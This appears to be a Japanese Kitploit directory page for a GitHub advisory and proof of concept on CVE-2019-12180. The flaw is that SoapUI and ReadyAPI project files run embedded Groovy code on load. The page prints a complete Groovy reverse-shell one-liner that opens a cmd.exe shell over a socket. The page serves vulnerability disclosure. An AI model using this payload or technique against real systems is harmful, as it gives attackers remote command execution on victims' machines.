Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-12180 — CVE-2019-12180のアドバイザリと概念実証。悪意のあるプロジェクトファイルを介したSoapUIおよびReadyAPIでの任意のGroovyコード実行を実証します。 | Kitploit
ツール/GitHubGitHub/0x-nope/cve-2019-12180
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHub0x-nope/cve-2019-12180

CVE-2019-12180

CVE-2019-12180のアドバイザリと概念実証。悪意のあるプロジェクトファイルを介したSoapUIおよびReadyAPIでの任意のGroovyコード実行を実証します。

リポジトリを見る
42366年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-12180

アドバイザリ & PoC

SoapUI および ReadyAPI では、Apache Groovy Language スクリプトを使用してテストケースに動的コンテンツを作成または追加できます(例えば、その場でタイムスタンプを計算するなど)。これらのスクリプトの実行は多くの方法でトリガーでき、プロジェクトが保存されると XML "Project file" 内に保存されます。

"Load Script" 関数を使用すると、プロジェクトファイルが開かれたときに起動される Groovy スクリプトを作成できます(XML プロジェクトファイルの con:afterLoadScript 要素)、それ以上のユーザー操作は必要ありません。この動作は、攻撃者によって悪用され、開かれると被害者のシステム上で任意の Groovy コードを実行する悪意のあるプロジェクトファイルを作成する可能性があります。Groovy 言語を使用してシステムコマンドを実行することが可能であるため、この機能はリモートコマンドを効果的に実行するために悪用される可能性があります。

注記: 同じ目的は、Groovy スクリプトに対応した他の関数(例えば "Save script")を悪用することでも達成可能ですが、プロジェクトファイルをロードした後に追加のユーザー操作が必要になります。

脆弱なアプリケーション:

  • ReadyAPI 3.0.0
  • 2.8.2 以前
  • SoapUI 5.5 以前

本稿執筆時点(2020-02-04)では、これは 0day 脆弱性です。なぜなら(複数の)提案された開示日が経過したにもかかわらず、ベンダーによるパッチリリースが行われていないためです。

Groovy リバースシェルの例 (https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76):

String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

ツールをダウンロード